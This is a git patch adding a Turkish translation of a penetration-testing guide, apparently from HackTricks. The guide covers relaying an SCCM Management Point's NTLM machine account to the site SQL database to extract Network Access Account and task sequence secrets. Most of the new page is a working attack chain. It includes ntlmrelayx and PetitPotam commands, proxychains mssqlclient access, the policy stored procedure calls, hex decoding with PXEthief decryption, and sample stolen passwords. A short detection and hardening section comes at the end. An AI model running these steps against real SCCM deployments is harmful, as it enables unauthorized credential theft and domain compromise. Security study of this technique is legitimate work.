From 8100b412c36641dce832f27df873511c6173fff9 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 22 Jul 2025 08:30:58 +0000 Subject: [PATCH] Translated ['src/windows-hardening/active-directory-methodology/abusing- --- src/SUMMARY.md | 1 + .../abusing-ad-mssql.md | 13 +- ...nagement-point-relay-sql-policy-secrets.md | 154 ++++++++++++++++++ 3 files changed, 165 insertions(+), 3 deletions(-) create mode 100644 src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index b09540790..09ba11160 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -283,6 +283,7 @@ - [Privileged Groups](windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md) - [RDP Sessions Abuse](windows-hardening/active-directory-methodology/rdp-sessions-abuse.md) - [Resource-based Constrained Delegation](windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md) + - [Sccm Management Point Relay Sql Policy Secrets](windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md) - [Security Descriptors](windows-hardening/active-directory-methodology/security-descriptors.md) - [SID-History Injection](windows-hardening/active-directory-methodology/sid-history-injection.md) - [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md) diff --git a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md index a4ab813f7..e6d86276a 100644 --- a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md +++ b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md @@ -176,7 +176,7 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu ## MSSQL Güvenilir Bağlantılar -Eğer bir MSSQL örneği, farklı bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak kabul ediliyorsa. Kullanıcının güvenilir veritabanı üzerinde yetkileri varsa, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komutları çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir. +Eğer bir MSSQL örneği, farklı bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak kabul ediliyorsa. Kullanıcının güvenilir veritabanı üzerinde yetkileri varsa, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komut çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir. **Veritabanları arasındaki bağlantılar, orman güvenleri arasında bile çalışır.** @@ -278,9 +278,16 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT **MSSQL yerel kullanıcısı** genellikle **`SeImpersonatePrivilege`** adı verilen özel bir yetkiye sahiptir. Bu, hesabın "kimlik doğrulamasından sonra bir istemciyi taklit etmesine" olanak tanır. -Birçok yazarın geliştirdiği bir strateji, bir SİSTEM hizmetini, saldırganın oluşturduğu sahte veya ortadaki hizmete kimlik doğrulaması yapmaya zorlamaktır. Bu sahte hizmet, kimlik doğrulaması yapmaya çalışırken SİSTEM hizmetini taklit edebilir. +Birçok yazarın geliştirdiği bir strateji, bir SİSTEM hizmetini, saldırganın oluşturduğu sahte veya ortadaki adam hizmetine kimlik doğrulaması yapmaya zorlamaktır. Bu sahte hizmet, kimlik doğrulaması yapmaya çalışırken SİSTEM hizmetini taklit edebilir. -[SweetPotato](https://github.com/CCob/SweetPotato), Beacon'ın `execute-assembly` komutu aracılığıyla yürütülebilen bu çeşitli tekniklerin bir derlemesini sunmaktadır. +[SweetPotato](https://github.com/CCob/SweetPotato), Beacon'ın `execute-assembly` komutu aracılığıyla yürütülebilecek bu çeşitli tekniklerin bir koleksiyonuna sahiptir. + +### SCCM Yönetim Noktası NTLM İletimi (OSD Gizli Çıkarma) +SCCM **Yönetim Noktaları**nın varsayılan SQL rollerinin, Ağ Erişim Hesabı ve Görev Dizisi gizli bilgilerini doğrudan site veritabanından dökme amacıyla nasıl istismar edilebileceğini görün: +{{#ref}} +sccm-management-point-relay-sql-policy-secrets.md +{{#endref}} + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md b/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md new file mode 100644 index 000000000..b54bb5cf7 --- /dev/null +++ b/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md @@ -0,0 +1,154 @@ +# SCCM Yönetim Noktası NTLM Relay ile SQL – OSD Politika Gizli Çıkarma + +{{#include ../../banners/hacktricks-training.md}} + +## TL;DR +Bir **System Center Configuration Manager (SCCM) Yönetim Noktası (MP)**'nı SMB/RPC üzerinden kimlik doğrulamaya zorlayarak ve bu NTLM makine hesabını **site veritabanına (MSSQL)** **relay** ederek `smsdbrole_MP` / `smsdbrole_MPUserSvc` haklarını elde edersiniz. Bu roller, **Operating System Deployment (OSD)** politika blob'larını (Ağ Erişim Hesabı kimlik bilgileri, Görev Dizisi değişkenleri vb.) açığa çıkaran bir dizi saklı prosedürü çağırmanıza olanak tanır. Blob'lar hex kodlu/şifreli olup, **PXEthief** ile çözülebilir ve şifresi çözülebilir, düz metin gizli bilgileri verir. + +Yüksek seviyeli zincir: +1. MP & site DB'yi keşfedin ↦ kimlik doğrulaması yapılmamış HTTP uç noktası `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`. +2. `ntlmrelayx.py -t mssql:// -ts -socks` başlatın. +3. MP'yi **PetitPotam**, PrinterBug, DFSCoerce vb. kullanarak zorlayın. +4. SOCKS proxy üzerinden `mssqlclient.py -windows-auth` ile relay edilen **\\$** hesabı olarak bağlanın. +5. Aşağıdakileri yürütün: +* `use CM_` +* `exec MP_GetMachinePolicyAssignments N'',N''` +* `exec MP_GetPolicyBody N'',N''` (veya `MP_GetPolicyBodyAfterAuthorization`) +6. `0xFFFE` BOM'u çıkarın, `xxd -r -p` → XML → `python3 pxethief.py 7 `. + +`OSDJoinAccount/OSDJoinPassword`, `NetworkAccessUsername/Password` gibi gizli bilgiler, PXE veya istemcilerle etkileşime girmeden kurtarılır. + +--- + +## 1. Kimlik doğrulaması yapılmamış MP uç noktalarını listeleme +MP ISAPI uzantısı **GetAuth.dll**, kimlik doğrulaması gerektirmeyen birkaç parametre sunar (site yalnızca PKI ise): + +| Parametre | Amaç | +|-----------|---------| +| `MPKEYINFORMATIONMEDIA` | Site imzalama sertifikası genel anahtarını + *x86* / *x64* **Tüm Bilinmeyen Bilgisayarlar** cihazlarının GUID'lerini döndürür. | +| `MPLIST` | Sitedeki her Yönetim Noktasını listeler. | +| `SITESIGNCERT` | Birincil Site imzalama sertifikasını döndürür (LDAP olmadan site sunucusunu tanımlayın). | + +Daha sonraki DB sorguları için **clientID** olarak kullanılacak GUID'leri alın: +```bash +curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format - +``` +--- + +## 2. MP makine hesabını MSSQL'e iletme +```bash +# 1. Start the relay listener (SMB→TDS) +ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support + +# 2. Trigger authentication from the MP (PetitPotam example) +python3 PetitPotam.py 10.10.10.20 10.10.10.99 \ +-u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10 +``` +Zorlamanın tetiklendiğinde şöyle bir şey görmelisiniz: +``` +[*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED +[*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433) +``` +--- + +## 3. OSD politikalarını saklanan prosedürler aracılığıyla tanımlayın +SOCKS proxy üzerinden bağlanın (varsayılan olarak port 1080): +```bash +proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth +``` +**CM_** DB'sine geçin (3 haneli site kodunu kullanın, örneğin `CM_001`). + +### 3.1 Bilinmeyen Bilgisayar GUID'lerini Bulun (isteğe bağlı) +```sql +USE CM_001; +SELECT SMS_Unique_Identifier0 +FROM dbo.UnknownSystem_DISC +WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86 +``` +### 3.2 Atanan politikaları listele +```sql +EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N''; +``` +Her satır `PolicyAssignmentID`, `Body` (hex), `PolicyID`, `PolicyVersion` içerir. + +Politikalara odaklanın: +* **NAAConfig** – Ağ Erişim Hesabı kimlik bilgileri +* **TS_Sequence** – Görev Sırası değişkenleri (OSDJoinAccount/Password) +* **CollectionSettings** – Çalıştırma hesabı içerebilir + +### 3.3 Tam gövdeyi al +Eğer zaten `PolicyID` ve `PolicyVersion`'a sahipseniz, clientID gereksinimini atlayabilirsiniz: +```sql +EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00'; +``` +> ÖNEMLİ: SSMS'de "Maksimum Alınan Karakter" değerini artırın (>65535) aksi takdirde blob kesilecektir. + +--- + +## 4. Blob'u çöz ve şifreyi çöz +```bash +# Remove the UTF-16 BOM, convert from hex → XML +echo 'fffe3c003f0078…' | xxd -r -p > policy.xml + +# Decrypt with PXEthief (7 = decrypt attribute value) +python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml) +``` +Kurtarılan gizli bilgiler örneği: +``` +OSDJoinAccount : CONTOSO\\joiner +OSDJoinPassword: SuperSecret2025! +NetworkAccessUsername: CONTOSO\\SCCM_NAA +NetworkAccessPassword: P4ssw0rd123 +``` +--- + +## 5. İlgili SQL rolleri ve prosedürleri +Relay sırasında oturum açma şu şekilde eşlenir: +* `smsdbrole_MP` +* `smsdbrole_MPUserSvc` + +Bu roller, bu saldırıda kullanılan ana EXEC izinleri de dahil olmak üzere, onlarca EXEC izni sunar: + +| Saklanan Prosedür | Amaç | +|------------------|---------| +| `MP_GetMachinePolicyAssignments` | Bir `clientID` için uygulanan politikaları listele. | +| `MP_GetPolicyBody` / `MP_GetPolicyBodyAfterAuthorization` | Tam politika gövdesini döndür. | +| `MP_GetListOfMPsInSiteOSD` | `MPKEYINFORMATIONMEDIA` yolu tarafından döndürülen. | + +Tam listeyi inceleyebilirsiniz: +```sql +SELECT pr.name +FROM sys.database_principals AS dp +JOIN sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id +JOIN sys.objects AS pr ON pr.object_id = pe.major_id +WHERE dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc') +AND pe.permission_name='EXECUTE'; +``` +--- + +## 6. Tespit ve Güçlendirme +1. **MP oturumlarını izleyin** – herhangi bir MP bilgisayar hesabı, ana bilgisayarı olmayan bir IP'den oturum açıyorsa ≈ relay. +2. Site veritabanında **Kimlik Doğrulama için Genişletilmiş Koruma (EPA)**'yı etkinleştirin (`PREVENT-14`). +3. Kullanılmayan NTLM'yi devre dışı bırakın, SMB imzasını zorlayın, RPC'yi kısıtlayın (aynı önlemler `PetitPotam`/`PrinterBug` için kullanılır). +4. MP ↔ DB iletişimini IPSec / karşılıklı TLS ile güçlendirin. + +--- + +## Ayrıca bakınız +* NTLM relay temelleri: +{{#ref}} +../ntlm/README.md +{{#endref}} + +* MSSQL kötüye kullanımı ve sonrası: +{{#ref}} +abusing-ad-mssql.md +{{#endref}} + + + +## Referanslar +- [Yöneticiyle Konuşmak İsterim: Yönetim Noktası Relay'leri ile Gizli Bilgileri Çalma](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/) +- [PXEthief](https://github.com/MWR-CyberSec/PXEThief) +- [Yanlış Yapılandırma Yöneticisi – ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager) +{{#include ../../banners/hacktricks-training.md}}